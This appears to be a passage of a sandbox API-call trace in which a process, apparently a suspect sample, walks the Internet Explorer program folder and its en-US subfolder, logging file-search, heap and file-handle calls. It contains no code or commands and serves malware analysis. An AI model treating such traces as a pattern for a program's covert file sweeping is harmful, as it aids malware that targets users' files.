0x124b528 [0087.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.915] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb273d712, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb273d712, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0087.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.917] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27a3bdc, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb27a3bdc, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6b1085f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0087.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.918] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb23391ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb23391ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23854ab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0087.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.919] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27fbdf3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb27fbdf3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0087.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.921] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e87a7f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2e87a7f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2eadbdf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa4510, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0087.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.922] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a5d3f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a5d3f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2aa96b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0087.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.924] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d665b0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d665b0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0087.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.925] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d8c70f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d8c70f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0087.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.926] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2aa96b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2aa96b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2acf818, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0087.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.928] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4239426f, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x4239426f, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x67fe631c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x40df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0087.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.929] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0ea3c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x68b0ea3c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x68b34b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x56df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0087.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.931] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0087.931] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc0b7dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc0b7dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0087.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.932] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc0b7dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc0b7dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0087.932] GetLastError () returned 0x12 [0087.932] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0087.932] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.932] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f9ad250, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9ad250, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.932] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a7ba820, ftCreationTime.dwHighDateTime=0x1d55f30, ftLastAccessTime.dwLowDateTime=0x1cbce260, ftLastAccessTime.dwHighDateTime=0x1d5aa3f, ftLastWriteTime.dwLowDateTime=0x1cbce260, ftLastWriteTime.dwHighDateTime=0x1d5aa3f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="babe_enormous.exe", cAlternateFileName="")) returned 1 [0087.932] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.933] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US" (normalized: "c:\\program files (x86)\\internet explorer\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0087.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US" (normalized: "c:\\program files (x86)\\internet explorer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.933] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0087.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132aaa0 [0087.934] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132aaa0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x132aaa0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0087.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132aaa0) returned 1 [0087.934] NtClose (Handle=0x180) returned 0x0 [0087.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.935] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0087.935] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.935] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0087.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc9e8 [0087.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.937] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0087.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bca08 [0087.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd88 [0087.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.938] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0087.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bca28 [0087.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.940] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0087.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bca48 [0087.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306ee0 [0087.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.943] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3537636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf3537636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81b77500, ftLastWriteTime.dwHighDateTime=0x1ca0427, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0087.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 